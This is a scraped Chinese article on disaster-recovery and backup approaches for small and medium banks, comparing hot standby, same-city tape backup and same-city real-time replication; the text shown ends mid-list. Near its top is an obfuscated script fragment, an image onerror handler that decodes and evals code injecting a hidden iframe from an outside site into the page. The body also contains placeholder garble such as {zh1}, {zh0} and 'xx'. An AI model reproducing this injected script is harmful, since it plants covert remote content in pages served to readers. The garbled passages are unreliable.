外包是现实的 中小银行如何可持续运营

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zh_160_600.html%20frameBorder%3D0%20width%3D160%20scrolling%3Dno%20height%3D600%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

文/黄伟   

　　【编者按】
　　外资银行正在如火如荼通过参股方式进入中国市场。让中资银行很难想到的是，在股权谈判中，外资提出的重要条件之一就是要求中资银行有完善的灾备系统并进行了灾难恢复建设，以保障业务的连续性发展。
有资料显示，中国银行业在实现数据大集中之后，技术风险也随之集中了。但是，城市商业银行在系统灾难备份方面却几乎是空白。
   
　　现实情况危如垒卵
　　银行无论以何种方式建设灾备系统，最重要的是实现灾备系统的有效性，以保障业务的可持续运营。而要实现业务的可持续运营，并非仅仅建立一个IT系统那么简单。
　　近几年，人们意识中不太能够想象的小概率灾难性事件频频发生，从“9–11”事件、卡特里娜飓风、SARS到美国和加拿大的大面积停电等，都给人们和社会带来了深重的影响。受台风影响，今年夏天中国广东部分地区发生了水灾，一些沿海地区的银行无法正常营业，一些急等用钱的用户虽然持卡、持折，面对银行却无可奈何。如果水灾持续时间更长，银行是否也要同样持续停业而丧失了其重要的金融功能？对于企业来说，如何在灾难事件中既能防范风险又能保证业务连续运营，不仅是提升服务质量和客户满意度的方法，更是企业维系生存的保证。
　　2005年以来，中国银行业已经进入后数据大集中时代，为应对因大集中而带来的技术风险集中，以工行为代表的国有商业银行采取了自建灾备中心的措施。但出于成本考虑，中小银行的灾备建设还未出现良好的　“中国模式”。
　　中国的中小银行，尤其是城市商业银行与农信社，营业网点大多只分布在同一个区域内。而且相对于大型银行来说，中小银行的IT投入较少。建设一个灾备中心，不仅是投入问题，更要考虑到灾备中心的选址等很多条件。可以说，灾备中心作为银行信息安全的{zh1}一道防线，不能有任何纰漏。
　　从防范自然灾害角度来讲，一个标准的灾备中心应该建在经营所在地外的另一个城市，而且这两个城市不应该在一个区域范围内。比如，云南地区存在一个地y震带，该地区的商行建立灾备中心选址时，{zh0}远一些，比如到华中、华东地区。但是，对于很多同城运营的城市商业银行来说，在另一个遥远的不熟悉的城市进行选址、基建，包括招聘人员或者选派人员进行灾备中心的运行管理，即使不谈投资问题，仅从实际操作看，也存在非常大的难度。更何况，合格的IT人员本来就是稀缺资源，维持正常的生产运行都有可能捉襟见　　肘。
　　回到投资问题，这也是一个挑战。今年年初，在“第三届中国城市商业银行信息化发展战略高峰年会上”，福州市商业银行行长蒋杰宏提出，当前城市商行信息化建设过程中一个很大的困惑，就是如何获得一个可供城市商业银行实现业务连续性的信息化平台，如国每家银行都为此投入几千万元，将给社会造成极大的资源浪费。建立独立的灾备中心，不仅需要非常大的一次性投资，而且还要持续投入以维持其运行，如每年支付基础设施运营费用、维护人员运营等费用。
　　灾难备份常见模式分析
　　目前，国内中小银行灾难备份方面存在4种方法。
　　【方法1】仅做主机双机热备份
　　双机热备份就是使用互为备份的两台服务器共同执行同一服务，其中一台主机为工作机(Primary Server)，另一台主机为备份机(Standby Server)。在系统正常情况下，工作机为应用系统提供服务，备份机监视工作机的运行情况(工作机同时也在检测备份机是否正常)，当工作机出现异常，不能支持应用系统运营时，备份机主动接管工作机的工作，继续支持关键应用服务，保证系统不间断的运行。
　　双机热备是一种实时备份，任何软件错误、病毒影响、误操作等等，都会同步地在多份数据中发生影响。因此，对于关键业务仅采用此方案的话，依然存在相当大的安全隐患，如数据损坏、丢失时根本无法进行恢复，一旦遇到灾难性事件可能产生无可挽回的影响。
　　【方法2】将备份数据存放在同城异地分支机构
　　这种数据备份方式最常见的模式是：定期备份+关键数据备份。
　　定期备份：是按一定时间间隔，将系统某一时刻的数据备份到磁带等介质上，及时传递到远离运行中心的安全地方保存起来。
　　关键数据备份：是将数据更新的日志或流水等关键数据及时备份下来，并传送到安全地方(通常是同城的主要分支机构)。关键数据备份的频率应比定期备份的频率更高。关键数据中包含了数据更新的全部操作，因此，使用定期备份介质和关键数据备份介质，xx可以将数据恢复到备份终结前{zh1}的关键数据状态。
　　此种方案大多采取人工方式传送定期备份介质、数据通信传送关键数据的方式运行，主要优点是投资较少，可利用现有的磁带备份设备和数据库管理系统工具。
　　采用这种方式进行灾备，说明银行对于灾难恢复有基本的认知，但是防护手段比较单一。如果碰到地区性灾害，则同样有可能丢失对于银行来说生死攸关的数据。
　　【方法3】在分支机构内设机房，做同城异地实时备份
　　同城异地实时备份，是指进行数据更新操作同时，在运行系统和备份系统中进行备份，运行系统的数据更新操作既写入本地磁盘，又通过高速数据通信线路传到备份系统的磁盘，直至收到备份系统完成数据更新操作的确认。
　　此方案中后备运行系统处于热备份状态，因此灾难发生后恢复时间极短，主要是网络切换的时间。采用的技术一般有远程磁盘镜像同步方式、远程数据库复制同步方式和网络数据镜像同步方式等。
　　虽然此种方式看似安全且恢复时间短，十分适合城市商业银行，但也存在很多问题。首先，分支机构建立的机房不满足灾备中心的条件。不少银行对于灾难备份的重视程度不够，选择的分支机构可能属于办公设施，承重、楼层高度、消防、供电条件（双回路供电）不能满足灾备中心的要求。万国数据在一次调查中发现，有些银行的灾备中心与生产中心的距离根本不满足要求，甚至存在使用同一个变电站供电的情况（区域停电时灾备中心根本不能接替运行）。
　　此外，运行管理方面存在非常大的隐患。由于城市商业银行在IT方面的资源问题，灾备中心可能是无人值守或者是非专业人员值守，无法达到专业灾备中心的运营管理。
　　这种方式说明，银行对于灾难恢复的防护提升到了一定高度，数据的保护措施达到了一定标准，而且准备了业务连续运营的主机系统，在有限的灾难情况下，具备了提供业务持续运行的基本条件。